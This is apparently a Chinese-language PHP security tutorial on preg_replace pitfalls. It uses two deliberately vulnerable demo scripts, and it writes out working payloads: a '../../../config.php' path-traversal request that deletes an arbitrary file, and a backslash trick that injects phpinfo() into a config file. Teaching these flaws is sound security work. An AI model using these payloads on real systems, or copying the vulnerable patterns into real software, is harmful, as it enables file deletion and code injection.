demo1
我们先来看个例子
在www目录下创建/tmp/tokens/shell.php
<?php
$path = str_replace('\\','/',__FILE__);
define('PATH',dirname($path));
class TokenStorage{
/**
* @param $action
* @param $data
* @throws Exception
*/
public function performAction($action , $data){
switch ($action) {
case 'delete':
$this->clearToken($data);
break;
case 'create' :
$this->createToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed){
$token = md5($seed);
file_put_contents(PATH. $token , '...data');
}
public function clearToken($token){
$file = preg_replace("/[^a-z.-_]/","",$token);
unlink(PATH. $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'],$_GET['data']);
在www目录下创建一个config.php文件
传入我们的payload
?action=delete&&data=../../../config.php
打上断点分析
最后成功删除文件。
我们以这个例子展开来谈preg_replace与正则表达的恩怨情仇
demo2
一个典型的config.php目录问题,也就是写入配置项的问题,开发人员在开发cms框架中常用的config.php,也是采用正则匹配,但是如果正则匹配没有进行过滤,从而会导致各种各样的漏洞问题。
我们在www目录下创建demo2.php
<?php
$path = str_replace('\\','/',__FILE__);
define('path',dirname(__FILE__));
$str = addslashes($_GET['option']);
$file = file_get_contents(path .'/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents(path . '/option.php',$file);
?>
然后再在目录下创建option.php
<?php
$option='1';
?>
我们先来分析一下这个写入配置项的文件,通过addslashes函数给option加上/,然后读取option.php的配置项,通过正则匹配来替换$str字符串,最后写入option.php。(使用了安全函数addslashes,但是缺导致了任意文件写入的问题)
我们先尝试随便写入一个字符串看看会有什么结果。
?option=123
我们想照成漏洞那必然要将前面注释掉payload=\';phpinfo();//
\‘经过addslashes()之后变为\\\’
随后preg_replace会将两个连续的\合并为一个,也就是将\\\‘转为\\’,这样我们就可以成功写入
preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个